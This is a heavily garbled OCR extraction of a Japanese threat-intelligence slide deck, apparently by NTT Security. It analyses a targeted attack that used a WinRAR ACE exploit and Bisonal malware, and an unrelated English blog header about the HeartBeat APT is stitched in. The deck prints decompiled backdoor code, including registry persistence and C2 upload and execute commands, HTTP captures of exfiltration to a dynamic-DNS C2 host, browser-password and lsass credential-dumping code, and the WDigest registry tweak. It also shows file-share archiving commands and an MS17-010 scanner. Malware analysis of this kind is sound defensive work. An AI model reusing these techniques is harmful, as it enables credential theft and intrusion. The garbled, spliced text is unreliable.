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Home » Targeted Attacks » Pulsing the HeartBeat APT

Pulsing the HeartBeat APT paloagcz ¢PRiSMA CORTEX

Secure the Enterprise Secure the Cloud Secure the Future Tt v

Posted on: January 3, 2013 at 8:55am Posted in: Targeted Attacks
Author: Roland Dela Paz (Threat Researcher)

Last November 12-14th, | had this great opportunity to - 78;0%@ ('—;‘13‘5 ig < Em é*l’r_
attend AVAR 2012 Conference in Hangzhou, China. D '/ S o I t -
There were a lot of great presentations; | must say | feel R Blsona’ Q }blj I F

very privileged to have presented our paper, The
HeartBeat APT Campaign, along with these talks.
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FTEEhEASTNT, BRI 77IIVAD ROVI\—hiEeE U=,
® CVE-2018-20250: WinRarlCfFE 9 DIEED/\RICT 7 A ) ZHE N DiEs54E
® Word®DJ)7 RA> T ALY : WordELEF [CETSND I 7 AILD™E T A )L

ACE:R
@I 7L

N\ .
. ; ®:E_7:j_ DOCXJ DOCXJ BTED)(RRESND
AN 4

>

2DDWord I 71 )b

7 RAZTAILIRO RO/ (= DS
kOwI)\—
DI1—H— (word.wll)

IR 0: \ CVE-2018-20250(C kN

l DTN DWord T 7 (LR &.

\ Word®D 77 R4 > I A))IACERESND
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o REICEENBJIRNYVIRFZDODINAFVFT—5Z2T7AIELTHALTNS,
o LSAMIZRAWTIRINY D R7ZXKGIETEB TS,

L =X kU [HKEY_CURRENT_USER¥Microsoft¥Windows¥CurrentVersion¥Run| Di%iE

strcpy(&SubKey, aSoftwareMicros);

vo = strlen(aSoftwareMicros); —————
*(&SubKey + v@) = 'R'; — P asoftwareMicros db 'Software\MicPosoft\windowg\CuPrentVePsion\ﬂ
v5[ve] = 'u';

vs[ve + 1] = 'n';

RegOpenKeyExA(HKEY_ CURRENT_USER, &SubkKey, @, ©xF@@3Fu, &phkResult);

result = (FILE *)RegSetValueExA(phkResult, ValueName, @, 2u, Src, strlen((const char *)Src));
if ( Tresult )

{

AN 74 \ | =~ _—

ExpandEnvironmentStringsA((LPCSTR)Src, Dst, ©x104u); -?ﬂaﬂﬂ@@mB@unKJBGEMSB 3E 4D:; M

.data:10007031 5Ah ; Z
result = fopen(Dst, Mode); Agt:ﬂ30@m32 db 9eh
v2 = result; .data:10007033 db 0
if ( result ) .data:10007034 db 3
{ Pl data:10007035 db 0
) ] .data:10007036 db o
fileWrite(&unk 10007630, 1lu, OxCE@Ou, result); .data:10007037 db 0
result = clIose(v2); .data:10007038 db 4
.data:10007039 db @
} r|:\+:a"lqa@7£2:lﬂ Ah 2]

} 14/72
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CRCH—/)\—h 5ZEVEHRICIHE UL ZERITI D,

switch ( *v21 )
{ ] ]

case 'c':
CreateThread(@, @, (LPTHREAD START ROUTINE)sendDrivelInfo, @, @, 0);
continue;

case 'd':
CreateThread(@, @8, sendFileInfo, Parameter, @, 9);
continue;

case 'e':
CreateThread(@, @, saveConnectionContentTolLocalFile, Parameter, @, 9);
continue;

case 'f':
CreateThread(@, @, executeFile, Parameter, @, @);
continue;

case 'g':
CreateThread(@, @, deleteFile, Parameter, @, 0);
continue;

case 'h':
CreateThread(@, @, uploadFileToC2, Parameter, @, 9);
continue;

case 'j’
CreateThread(@, @, (LPTHREAD_START_ROUTINE)sendProcessInfo, @, @, 9);
continue;

case '1':
if ( idThread )

PostThreadMessageA( (DWORD)idThread, ©x464u, @, (LPARAM)aMVer);
else
CreateThread(
idThread,

frr—=r —N2 d-l..__ _ 1
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XNy O RP=SI>O—F - BITUELEDEEF VI FVv

HTTP/1.1 28@ OK

Date: Fri, 27 Sep 2819 84:36:23 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.8.27 PHP/5.4.45
X-Powered-By: PHP/5.4.45

Content-Length: 72 ® 21_ > 9 e(j ’I/) I/@g Ij /I:I I\)

Content-Type: text/html

e « J7A)L%: Acrobat.exe

637851557500431813.jpg,C: /Users /helpdeskBBl /AppData/Adobe/Acrobat . exe
GET /6378515575088431813.jpg HTTP/1.1

User-Agent: Mozilla/5.8 (Windows NT 5.2) AppleWebKit/534.380 (KHTML, like Gecko) Chrome/12.8.742.122
Safari/534.30

Host: www.yandex2unitedstated.dynamic-dns.net

Cache-Control: no-cache

HTTP/1.1 288 OK

Date: Fri, 27 Sep 2819 84:36:23 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.8.25 PHP/5.4.45
Last-Modified: Fri, 27 Sep 2819 @4:36:22 GMT

ETag: "a0@@8-593816d99d65f"

Accept-Ranges: bytes

Content-Length: 48968

Content-Type: image/jpeg 2;&} \ v g I{?O)} K\/]’j— |J 52—9

MZ. . e et e e e aaaeeeaaa e .1..L.!'This program cannoct

be run in DOS mode

S S...2...2...2..5-...2..8 2ox=...2.0 -0 2.0..2,..2..5-...2. .Rich

2 e PE. . L...y. %o, ~

Ao Connnnnnnnnns e v v vt et e e e e e e e e e e e ) SR

-...éé;é:-.éi:::::::;::::::::::::::::: ....................................................................
il m ral o | == E ]
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2R\ U RPEYI>O—K - BIFUEESDOBEFTTFv

HTTP/1.1 288 0K
Date: Fri, 27 Sep 2819 84:38:54 GMT

Server: Apache/2.4.23 (Win32) OpenS5L/1.8.27 PHP/5.4.45

X-Powered-By: PHP/5.4.45 « RET—H: mAY> RDELT)
Content-Length: 18 e .
Content-Type: text/html o EITSNIZIN > B cd Adobe

m
cd AdobeP0OST /news.php HTTP/1.1

HTTP/1.1 288 OK
Date: Fri, 27 Sep 2819 84:39:17 GMT

Server: Apache/2.4.23 (Win32) Open55L/1.8.27 PHP/5.4.45 :

X-Powered-By: PHP/5.4.45 - REFT—HF: mANX> RDOET)
Content-Length: 13 e, < i
antent_T}rpe: text/html ° gé'fTé“t::l?/ |\: ACI’Obat.exe

m
Acrobat.exePOST /news.php HTTP/1.1
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1.5%)\w I R 7 D45

(®) NTTSecurity

cacH—/)\—LD@EEIIHTTP O ML ERERT S,

Fig. ) OY> RREFOBEF Vv ITFv

bGET /news.php?type=28hash=2eB8167ef3a43e9cdb6158e5850b007d83&4time=13:38:02 HTTP/1.1

User-Agent: Mozilla/5.8 (Windows NT 5.2) ApplebebKit/534.38 (KHTML, like Gecko) Chrome/12.8.742.122
Safari/534.38

Host: www.yandex2unitedstated.dynamic-dns.net

Cache-Control: no-cache

HTTP/1.1 2688 OK

Date: Fri, 27 Sep 2019 84:38:14 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.8.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45

Content-Length: 1

Content-Type: text/html

Fig. ) OV > RERXERKOBET v T Fv

« GETAVw R
« URL/UXRI(E [news.phpl DRIC3FED/ NS A—4
o typell(BIRZRITUIRVNE—R)
20 RZEERITIDE—N)
 hash: mac)” kL XDmd5E
o time: BEIRARD > AT LKFfE

jPOST /news.php HTTP/1.1

Content-Type: multipart/form-data; boundary=-------------~-~—~—~—~—~—~—~—~—~~—~——- 7db29f2148360

Referer: upfile

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; WOW64; Trident/4.8; SLCC2; .MET CLR
2.8.58727; .NET CLR 3.5.38729; .NET CLR 3.0.38729; Media Center PC 6.8; .NET4.0C; .NET4.8E)

Host: www.yandex2unitedstated.dynamic-dns.net

Content-Length: 9985

Cache-Control: no-cache

————————————————————————————— 7db292148360
Content-Disposition: form-data; name="myfile"; filename="2eBl67ef3ad3e9cdbl5Be5850bBB7dE3. gif"
Content-Type: image/pjpeg

i

{ "paral": "8", "para2": "[System Process]", "para3": "SYSTEM"}
{ "paral": ”4", "para2”: "System", "para3": "SYSTEM"}

{ "paral": "284", "para2": "smss.exe", "para3": "N"}

* POSTAVwW K
« URL/UX(& Tnews.php]
« Referer(3 [upfile]

- N> ROFEITHERDODT—FHAN
F— [paral TIRAFDISONDKDIRHER
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URLY/R— FESEDENIT > I— RENT(CRFICEEFNT LS,

[ = gy = gy e

.data:0040E080
.data:0040E085
.data:0040E088
.data:0040E098
.data:0040E098
.data:0040EQ98

Format db '%02x',0 ; DATA XREF: make_hash_su
align 4
a3853ed273b8968 db '3853ed273b89687',0
alWwwYandex2unit db 'www.yandex2unitedstated.dynamic-dns.net',0
5 DATA XREF: setserverNan

; setServerName _sub 403F(

data:0040E8A0
data:0040E8A0
data:0040E8A0
data:0040E8C8
data:0040E8C8
data:0040E8C8
data:0040E8C8
data:0040E920
data:0040E920
data:0040E92A
data:0040E92C
data:0040E92C
data:0040E92C
data:0040E954

; char aHttpSDSType2Hal ]
aHttpSDSType2Ha db 'http://%s:%d/%s?type=2&hash=%s&time=%s",0Ah,0

; DATA XREF: mainbody_ sub_4¢
; char aMd5SNameSIpSOs| ]
aMd5SNameSIpSOs db '{ "md5": "%s", "Name": "%s","IP": "%s","0S": "7%3
; DATA XREF: mainbody_ sub_4¢
db '"Note": "%s","In_IP": ',0
aPostInfo db 'post_info',0 ; DATA XREF: mainbody_ sub_4¢
; mainbody sub_ 408E10+1DETo
align 4
; char aHttpSDSTypelHa| ]
aHttpSDSTypelHa db 'http://%s:%d/%s?type=1&hash=%s&time=%s",0Ah,0

; DATA XREF: mainbody_ sub_4¢

align 106h
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Fig. ) Bisonal (CBA9 Bf#tTL 7R— K5I

@ NTT Security

Fig. ) Acrobat.exe(2:X/\w 2 R77)(>1— RD—EB

4 EREIETH switch ( vi4 )

Bisonal <)L 0T 7I3, WEECHTCIEU TR (I RIS S AT LT 7 LG case 2:
cmd2_setDataOfSendSystemInfo(vils);
break;

(1) /X2 P case 3:

CACBIEENLTETT3EREETBIE. ROEBDTHS. cmd3_sendLocalProcInfo(vils);
break;

AYEa—&E, I-Y=ThHI bk IPFELZ, OSERTHE .

EFROTOLPED T —ILOUR RO case 5:

& RSB cmd5_sendTickCount(vis);

DFAIDUR MER -

BEOTOURERHET break;

CMDEXEEFEELE SR Y RE ST case 6:

RO D7 A ICBEAR .

D771 JLOEHERD cmd6_maybeSendLocalDriveCnt(v15);

HFED T 71 )LOEIER br-.eak.

° “ (‘ W A = —
wORPZIZEVWDS 0 e b 6
BisonalHh'/\v =&WDS Acrobat.exelC

IR R— bh' 3

INY D R7 DtgRED
RSN
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2 RET—H Dprefix DEE J7IILD5Fo>0—R
3 JOtRIBEHRDIEE 13, 15 J7I)ILDOF7vyT0O—R
5 > X5 ABEEODIXE 16 71 )L7ZHIBx
6 RSAJ—&EDiXE 17 Vo SOBAYER
7 7 1 JVIBERDIXAZ 18 oy NATZ 10 bOiXRE
9 JOCADET 19 J71ILDET
10, 11 N> RD3ETT(cmd.exe) 20 Vay kO —X
21 BEOTJOLRDET

BED T 71 )LOHIER
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p.

JE{E5EXO7TR—

I\ 2 R &BisonalDitii
FESODI>I—RZIVIJVUXLDE—THB.

Fig. ) i&

unsigned  inté4  cdecl[sub &01060fconst chag
‘ "
unsigned int v2; /77 esig
signed int w33 //7 ebxin
const char svh; /7 edxi@2
char vS; // al@3
unsigned intéh results /7 qoxia
int i; /77 edids
char v8; // [sp+*15sh] [bp-400h)E1
char v9; /7 [sp+*15h] [bp-3FFh]E1
__1int16 v18; /7 [spra1ih] [bp-3h]E
char v11; // [sp+&13h] [bp-1h]E1

memset (6o, 0, Bx3IFCu);
Vil - .;

[ 0x4BD

{
US = UA[1] + OX1A = wul + 0x25;
Ul e= 23

o(GUB ¢ u2ee) = u5;
H
while ( v2 < strlen(al) > 1 );

H
result = 0iéy;

1BZEDBisonaldI > J— KI5

[Sub_G0T0607 ' CCHXERJPIGGYFUAEEJFFH
uh = =13
u5s = (int)"Host: www.google.comkr
do
{
if ( tvs )
break;
U6 = u( BYTE =)uSes == §;
-—-,:lx;
H
while ( tvé );
U7 = r”“;
Vg = v7;3
v9 = (const void =)(u5 - v7);
vig = -1;
vil = (int)szHeaders;
0

iF ( tv10 )

w AhnLab uf»b:e:'("em “Jultss == 8;

——u10;

mile ( tvb );

mencpy((void =)(vi1 - 1), v9, u8)
vi2 = -1;

v13 = (int)"Connection: Keep-Aliv
do

if ( strien(a1) & OxFFFFFFFE ) {
{
LODMORD(resull) = &us;
for ( L = a2 = (_DUORD)&uS; ; | = a2 =~ (_DWORD)&uE )
{
LOMORD(result) = (unsigned intf)s(tul ¢ HIDNORD(resull));
e(tul *» HIDMORD(result) + i) = result ® BYTEN(vd);
vl = OxS8BF - 0x3193 » (v3 * result);
result = PAIR__(HIDWORD(result), @) « 4294967296i64;
1F ( HIDWORD(resull) >= strlen(at) >> 1)
break;
]
return result;

\

Fig. ) 2I%

vz = wu,
memset(v1lo, @, sizeof(v1o));
vil = @;
vli2 = 0;

[ 1213=0x4BD

@ NTT Security

J\WwORFZOI>I—R

1BZEDBisonal & @ U

SNd3F—6

{
v4 = al;
do
{
v5 = va[1] + 26 * *v4 + 37;
vd 4= 2;
*(&VE + V24+) = V5
¥
while ( v2 < strlen(al) >> 1 );
¥
v6 = 0i64;
if ( strlen(al) & @XFFFFFFFE )
{

LODWORD(vE) = &vO;

for (i = a2 - (_DWORD)&v9; ; i = a2 - (_DWORD)&vS )

{
LOWORD(v6E) = (unsigned __ int8)*(&v9 + HIDWORD(VE));
*(&vS + HIDWORD(vE) + i) = v6 ~ BYTE1(v3);
v3 = Ox58BF - 0x3193 * (v3 + v6);
LODWORD(v6) =
++HIDWORD(Vv6) ;
if ( HIDWORD(v6) >= strlen(al) >> 1 )
break;
¥

¥

return vo;
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PostScript Type1TT#l

s g1\N
ESPZITUXALERU.

o MBLEOLNBIZIIVXAEGEENTLS,

Fig. ) 2%\ RFZMDF 0 —

NUBL

v3 = 1213;
if ( strlen(al) & @xFFFFFFFE )
{

v4d = al;
do

*(&V9 + v2++) = V5;

}
while ( v2 < strlen(zal) >> 1 );

}
v6 = @0ie64;
if ( strlen(al) & @xFFFFFFFE )
{
LODWORD(v6) = &vo;
for (i = a2 - (_DWORD)&9; ;
{
LOWORD(v6) = (unsigned _ int8)*(&9 + HIDWORD(v
(& 1 1) = v6 ~ BYTE1(v3);
v3 | Oxs8BE - 0x3103 v6);

{
VS = vA[1] + 26 * *v4 + 37; éﬂg P,
vd += 2; "

i = a2 - (_DWORD)&vO )

Fig. ) PostScript Typel Font Format(CE2&ka 11—

R[6]

unsigned short int r;
unsigned short int ¢c1 = 52845;
unsigned short int c2 = 22719;

unsigned char Decrypt(cipher) unsigned char cipher;

{unsigned char plain;
plain = (cipher * (r>>8));
r = (cipher +r) * c1 + c2;

return plain;

}

6));

LODWORD(V6) =

break;

P OXSSBF 0x3193

}

}
return vé6;

C1=52845=0x58BF
C2=22719=-0x3193
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Fig. ) 2R\ 2 K77 DRCADKSA

int cdecl rc4_ksa(int al, unsigned int a2)
{
int j; // esi
int ii; // ecx
unsigned int i_1; // edx
int i; // eax
char ve; // cl
char v7; [/ [esp+Bh] [ebp-81h]
char key; // [esp+Ch] [ebp-86h]
char v9[124]; // [esp+Dh] [ebp-7Fh]
__intle v1e; // [esp+89h] [ebp-3h]
char v11; // [esp+8Bh] [ebp-1h]

key = 0;
memset(v9, @, sizeof(v9));
v1ie = 9;

vlil = @;

110: ((a;ii - o; iv7 + i) = *(_BYTE *)(i_1 + al) ) SBOX@@E?“@EE’J“
RN 25600'5128([CHARAFLENTNDS

++ii;
b
for (1 =0; i < 128; ++i )
{

v6 = RC4_SBOX[i];

= ((unsigned _ int8)RC4_SBOX[i] + (unsigned _ int8)*(&key + i) + j

RC4_SBOX[i] = RC4_SBOX[1;

RC4_SBOX[i] = v6;
¥

return 1i;
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AR DA—)LZRRICIDDINY I R7([CREEUIZ.

ACEH?
A CEE J J
.M h P DOCX || DOCX
l ANz
'AJ > (_hb\b
@kOw/(— =
[ EIHE
ROwI\— 1R\ I R7 2RIV DI RF7 -mzwa I~7'
(word.will) (csrcc.exe) (Acrobat.exe) | (conime.exe) |
“ |
QI1—Y— @1/)\/\‘/7 K77 @2/)\/\‘/7 K77 @3/)\/\‘}0‘\) 1
IR . ZAERY - %ﬁ LT 7@’:%47 :
|

@2:R)\w o |\J

AT O—R ‘

cacy—)\—

Hk

@3/A/\J7 K77

SO O—R ‘

Hk

c&acH—)\— 31/72
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2%I)\w 2 R7 B UBisonalEEZEXND.
® BinDiff CEDHRL, O— ReEigHNA—E LU TL\B,
@ C2ON>REHUTED., CRCH—/)\—0DEELRAAME—HULUTULS,

2IR)\W I R EDEDERDODM D=,
® CRCH—/)\—LIBETBBRDON— hESIFIERD TLV

Fig. ) 20y 27 R0 Fig. ) 30y 27 RF0D
T>— RS- hES T>— RENR— hES
decode(aEabgfhdceqggdc, (int)name); sub_481138(aEabgfhdceqggde, (int)name):
decode(aEabgfhdceqggdc_@, (int)v20); sub_401130(aEabgfhdceqggdc 0, (int)v2e);
decode(aCiiu, (int)string); sub_401130(aBwatfln, (int)String);
CIIU —— 80 BWATFM ——» 443
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changeip & ULYS5DynamicDNS®D R X >hic&cH—)\—(CfERETNIE.

Fig. ) 1R\ 2 R 7 DIBIESE Fig. ) 280w 27 R 7 DiBIESE

Z www yandexZ2unitedstated dynamic-dns._net
lovehome zzux. com|

Whois Lookup
Whois Lookup

Admin Citw: miami

: . Admin Citw: miami
'ﬂ'dm!n EDL"TIt rys U3 . Sdmin Country: US
Admin Email: 3cidazdihoebfealslchangeip. con Adnin Email: 3c3d334158ebfealsBchanzeip. con
fdmin Organization: changeip.com Sdmin Organization: chanzeip.com
ddmin Postal Codes 32121 fdmin Postal Code: 33131

, , ] , Admin Statef/Province: florida
Adnin State/Province: florida Creation Date: 2000-11-15T04:17:082
Creation Date: 2000-08-07T22:58:347 DNSSEC: Unszigned
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SEDCACH—/)\—D RX1 >(%
Operation Bitter Biscuit CFIFHEIRMD 3 S changeip® R A1 > TdH B,

Fig. ) DynamicDNS&® Fig. ) 2018 (CHrEE=NIC
Bisonal DIR{ARMDIRE 5o X Operation Bitter Biscuit(CBd9 B2 E!3]

OV7HLUBEICHTIRECE X +
& C @ paloaltonetworks.jp/company/i
C2 U—)\—:
jennifer998.lookin[.]at

Sitelutions 196.44.49[.]154

34 www.hosting.tempors[.Jcom

kted56erhg.dynssl[.Jcom changeip® KX~

changeip
15 euiro8966.organiccrapl.jcom  changeip® R X1 >

116.193.155[.]38

games.my-homeip[.Jcom
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2I%)\w I R7ZDCICH—)\—D RAAL >
1BZEMDBisonal CHE{ERASSNTLE,

Scanned

2018-05-23 41 /66 Win32 EXE bechbf2bd310b887 46010392411 3962 vir
2018 (Cupload
SN iRE

E lovehome. zzux.com

AUTH-UL-22 7o NS Aovenome. ZZUW- comy

Communicating Files ©

Detections Type o

Win32 EXE

B LIEE T3,

E{S5Eh SBisonalZiRA T & S Al RETED DD

@ NTT Security

Bisonal D¥FEOMER R Db o 1=,
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A ERES @ NTT Security

WEACHARADEIRIE ESOMNBENK SIS,
— RN ERZERUITRIRZFIB LU, 7

gAY —)(— Lz — ) —
——————————————— l " TN N S S N S SN SN SN SN SN SN SN SN SN SN S S S
B D7 1)L D%E .
Capture-VM - FileServer-VM Internet

-| ActiveDirectory-VM

| |
I [ WEE DB E ST 5 1:k- Proxy-VM
1

| Jr
| |
| |
| |
| |
: IPS-VM1 H i
1

| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |

i
I
I
I
I
I
I
I
I
I
I
I
i | WAN-LAN
T
I
I
I
I
I
I
I
I
J

IPS-VM?2 = % = - Linux-VM(Router) Router
: S =
IPS-VMx F qzl - Win7SP1-VM
R Wi T e L L L L
B — 5 S BRY DU ﬁ BH 7 1 LORE J
E T RET 7 A )LD
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Ny D R7Z2RAWCREESDBEI D25 (®) NTTSecurity

WEBHDE/ERE ZIFRINITERY

iS5 IHH NI RFP

9/27 11:50 19R)\w 27 RJ7(csrcc.exe) DELT _

9/27 11:55 WEENSDICE =R csrcc.exe

9/27 12:32 74 )L —)\—M5T 71 )LDEEE csrcc.exe

9/27 13:39 2/R%)\w 27 R77(Acrobat.exe) DS > O0— R H) csrcc.exe

9/27 13:51 RERIGERD T S OH « A—Z5—D)\ AT — R%ZEFH Acrobat.exe

9/27 13:56 GImFRDOST7 D> hDJ\ R D — RZEFEL csrcc.exe

9/27 14:26 ADIC~ )L T J7Bisonalh\ iR E=ND Acrobat.exe

9/27 18:04 37R)\wW 27 R77(conime.exe) DS > O— R EEES Acrobat.exe

9/27 21:47 NI RT7OTOCANERT U, REEHSOBENRRID | -
IZEL1BRTHICEEERD L. BRIV I RT7&
i B B R DV P E O Eh F5 b5 Ra (L) C&CH—/)\—H'5D

BREFEBRELTAL
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netd<Y > RPWinRarz HW\T I 71 I ZTHENI=,

Fig. ) LR\ RFZAEFTLIEITR

m J7A)IL5—){—(C \

net use z: ¥¥192.168.66.5¥share 7Y hI—=TRSAT =&

m BlITAD>0O— RUZWinRarT
rar a -r -v2000k 2.rar "z:¥" I 7 A& 2MEB I

h EMRUIET7(IL%E
637051521594536734.jpg, CRCH—/)\—=(C77vTO—- K

C:/Users/helpdesk001/AppData/2.partO1.rar,
C:/control/ly/control/2e0167ef3a43e9cd6150e5850

gEY—)\— Lt
7d83/2. . = . .
Sl PRI < 27 L) CADBIEEIA D
m 2y NJ—ORSATD
net use z: /del = 27 AR PR
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590 « XA—5—0D)\AJ— ROBGEHIRITENE.

Fig. ) 2R\ O R7ZMRFITLIZOY> K

getwebpass getwebpass.exe&EW\DSWYW—JLT
J\RXDJ— ROGEN AT NI,
________________ | S
/ (XD — REFERDFIT SR
Internet Explorer
('INFQO', u'Internet Explorer passwords are . Firefox
stored in Vault (check vault module)") . Thunderbird
« Chrome
error:has not find password « Yandex

INRAD—R2ZRZFELTHSY. ‘EREHBmENnIho .
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python1— RZERITI 7 A IVICE#MU TS,

S8 OR 00 0O 2E 70 79 00 S5F S5F 66 €% 6C 65 S5F 5F X....py. file
g0 00 00 00 46 €61 &5 &C 65 €4 20 74 &F Z0 75 6E ....Failed to un
6l 61 T2 T3 68 &l 6C 20 83 6F 64 £S5 20 eF 62 ©A marshal code obj
65 &3 T4 20 66 &F T2 20 25 73 0A 00 46 £l &9 &C ect for %s..Fail
65 64 20 74 &F 20 &5 7% €5 €3 75 74 &5 20 73 63 ed to exXecute scC
25 VRl ript %Is..... Vi
77 73 2D 6D 61 6E &9 66 &5 indows-manifest
M o6 69 ©C 65 6E &1 €D &5 00 0D 00 43 €1 6E &E Efilenam&...ﬂann
6F 74 20 el 6C &C 6F €3 681 74 &5 20 &D &5 6D &F ot allocate memo
72 79 20 66 6F 72 20 41 52 43 48 4% 56 45 5F 53 ry for ARCHIVE 5
L4 41 E£d4 Stooo® O3 OO0 00 FR £1 /T £ EFOET OO0 00 TATIIS mallos
. PyInstallerbMERHESNEC &2 RT L
o [ pyi-windows-manifest-filename] -
£ — \ = 4

65 6 EWVWDSXFIIHESRTED
47 & hm
65 57 00 00 46 &l 69 eC 65 ©4 20 74 6F 20 63 6F eW..Failed to co
6E 76 65 T2 74 20 65 78 €5 £3 75 74 €1 62 &C €5 nvert executable
20 70 81 74 &8 Z0 T4 ©F 20 55 54 4 2D 38 2E 00O path to UTF-8..
S0 7% 5F 44 6F €E T4 57 T2 €9 T4 €5 42 79 T4 €5 Py DontWriteByte
63 6F 64 €5 46 &C 61 &7 00 00 00 00 46 &1 69 & codeFlag....Fail
65 64 20 74 6F Z0 &7 €5 T4 20 61 €4 €4 72 €5 73 ed to get addres
73 20 66 6F 72 20 50 7% 5F 44 6F 6E 74 57 T2 6% s for Py DontWri
T4 £5 42 7% 74 65 €3 €F 64 €5 46 €C €1 €7 0OA 00 teBytecodeFlag..
47 &85 T4 50 72 &6F 63 41 64 ©4 T2 €5 T3 73 00 00 GetProcAddress..
Gl 79 BF 4F RS9 A RS 53 79 73 74 £S5 RN 44 AL AR Pw FileSwvstemDef
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DI — RHGithub LICABEETN TS,

Fig. ) 1> —3vY MMZRHEASNTLD Fig. ) REBMEALIZY —I)L%Z
chrome®/\ XD — RZEFENT 21— RI8] S )\AILuzd—R

try: cursor = conn.cursor ()
conn = sglite3.connect(database_path) except_Exceptlon as e:
print (
cursor = conn.cursor()

'DEBUG', str(e))
print ('ERROR'  u'Zn error occured opeggpq the database file'
print_debug('ERRﬂR'J u"An error occured opening the database file') continue
print_debug('DEBUG', traceback.format_exc())

except Exception,e:

) try:
continue , - . . B . . . . .
cursor.execute ('SELECT action url, username value, password value FROM logins')
except:
# Get the results continue
cursor.execute("SELECT action_url, username_value, password_value, blacklisted_by user FROM loginz')
frr reconnlt dwm 1 r fetrh=a11 0% -

for result in cursor.fetchall(}:

T | FROMEELTVWBTECMAT, oo
T R ENBAY E—SE—BULTUS.

pwdFound.append

r

print ('DEBUG', traceback.format exc())

"UURL"® : result[e],
*Login' : result[1], conn.close()
‘Password . password if database path.endswith(random dbname) :

os.remove (database path)
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WEHDRARLEZY —ILTI\NRAD— FDEHBEDEITENIZ,

Fig. ) LX)\ O RFZMFITLIZOY K

m
conhost conhost.exe & W\ S EEN
Ao>O—R LJZ:“J—{I_/_C‘_

['JAdjustTokenPrivileges Failed.<1300> OS> hOETFEN TSI,
[']Error code of EnumProcessModules():6

INA D — RODTHHR S AR
m FIh9 3 &<,
del conhost.exe W—)LZHIR L TUL\D,
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OS7 A > FrDINRAT— REEERY —)b

@ NTT Security

DT — RHGitHub™®I OV TARETN TS, 1]

Fig. ) #8{l0— RDGitHubD 1 ~
om/3gstudent/Homework-of-C-Language/blob/master/sekurlsa-wdigest.cpp

// Load lsasrv.dll locally to avoid multiple ReadProcessMemory calls into lsass
unsigned char *lsasrviLocal = (unsigned char®)LoadLibraryA("lsasrv.dll");
if (lsasrviocal == (unsigned char*)e) {

printf("[x] Error: Could not load lsasrv.dll locally\n");

return 1;

) SELDCHDENDIERER U,

printf("[*] Loaded lsasrv.dll locally at address %p\n", lsasrvLocal);

// Search for AES/3Des/IV signature within lsasrv.dll and grab the offset
keysigoffset = SearchPattern(lsasrviLocal, PTRN_WNO8 LsaInitializeProtectedMemory KEY, sizeof
it (keysigoffset == 0) {

printf("[x] Error: Could not find offset to AES/3Des/IV keys\n");

return 1;

}
printf("[*] Found offset to AES/3Des/IV at %d\n", keysigoffset);

SERN(CHENNBIERNERC.

Fig. ) fTERED by T R—=

@ Focusing

3gstudent

good in study.attitude and health
@ https://3gstudent.github.io/

Black ar repart user

Qverview

Repositories  Projects  Stars

Popular repositories

Pentest-and-Development-Tips

A collection of pentest and development tips

w612 Youu

List-RDP-Connections-History

Use powershell to list the RDP Connections History
of logged-in users or all users

@ rowerShell W 176 Y44

Eventlogedit-evtx--Evolution

Remove individual lines from Windows XML Event
Log (EVTX) files

®c-+ k135 ¥a

Followers

Following

Javascript-Backdoor

Learn from Casey Smith @subTee

@ towerShell  # 192 ¥ 108

Worse-PDF

Turn a normal PDF file into malicious.Use to steal
Net-NTLM Hashes from windows machines.

@Python w173 Y350

CLR-Injection
Use CLR to inject all the .NET apps

Batchfile 125 ¥ 44

« TFIUFTAEEDY—ILZRFRALTLD

. chEZEA

==
AJu

HEZTTETDAY)
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FAUUDI— RO GitHub>HREFED Y1 b TARETN TS, 10

0x05 £h3E

A FWindows Server 2008 R2EESRAM T4, FRINERE T TATREPEFANE
2, EEATHAOS, ahEiHESCEMESAWigest AuthB2RIx T &, F5Eil
T

cmd:

reg add HELM\SYSTEM\Cur ControlSet\Control\SecurityProvide

or powershell:

Set-ItemProperty —-Path HELM:\SYSTEM\CurrentControlSet\Control

I//Z MU Dz Eb‘%\gtnﬂﬁéhTBDs
WEHHDERTICEKBUZEREDAREERD
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ADICXW I BVYILDITF

B -ffes9TERERS-

@ NTT Security

MS17-010DkessTEDF|MZIHZ LU TL\D,

Fig. ) 2%\ RZAET LI R

checkers 192.168.66.50 0

192.168.66.50

Target OS: Windows Server 2012 R2 Standard 9600
[11 192.168.66.50 :is not patched

=== Testing named pipes ===

spoolss: STATUS_ACCESS_DENIED

samr: Ok (64 bit)

netlogon: Ok (64 bit)

Isarpc: Ok (64 bit)

browser: STATUS_ACCESS_DENIED

MS17-0100DMes5 D EEZER T D
CheckersEWWDSEXED 71 I)LZFEITUTLD

SI1ERDELK
- 15|80 W9 BT /A XDIP
- SE25|E: IPDIBTESEDE—R
- 0: IETEIPICXT I BHEF DR
- OLUSN1ETE

AD(EMS17-010D/\Y Fh\i&E

“192.168.66.50 is not patched” &SN TULRED,

AESNTLWRWnWCEZRULTWS,

SEHEIDIPICXT I DHESSIEDMERD
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python1— RZERITI 7 A IVICE#MU TS,

. o » _ o “
Fig. ) REBMNMERLEZY—I)LZ>I2)\q)Luicd— R
1if len{sys.argv) != 3:
print '{} <mode><ip>'.format (sys.argv[0])
print '<mods 0>————- zingle’
print '<mods 1>-————- muti
ay=.exit (1)
ipstart = sy=.argv[l]
1if sy=.argv[2] == "0'":
ip _addr = ipstart
print ip addr

] try:
- test (ip_addr)
] except:
pass
lelse:
ipli=st = ipstart.zplit('.")
ip addr = iplist[0] + '." + iplist[l] + '."' + ipli=t[2]
] for 7 in random.s=sample (range (252), 252):
1 =7 + 2
ip address = ip addr + ".' + str(j)
] try:

threading.Thread({target=test, arg5={ip_address;}}.start{}
time.sleep(0.1)

] except:
pass
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LD T — FHGithub E[CABEETNTWS, 11

& github.com/worawit/MS17-010/blob/master/checker.py

# test if target is vulperable Overview Repositories  Projects  Stars  Followers  Following
TRANS_PEEK_NMPIPE = 0x23

recvPkt = conn.send_trans(pack('<H", TRANS_PEEK_NMPIPE), maxParameterCount=oxffff, maxDataCount=-0x80@)

Popular repositories

+o41 — F‘Mf gothNTCH oty )
if status -- @xC@@EE205: # STATUS INSUFF_SERVER RESOURCES MS17-010 CVE-2019-0708
. . - . N — —
print(’The target is not patched’) @}Etljjj ( % é*[ 5 MS17-010 CVE-2019-0708 (BlucKeep)
else: ZI~ (G /l\
@Python  *13k Y756 *68 ¥s

print('The target is patched"’) >( W t :\\E ﬂ
sys.exit() J / (=]

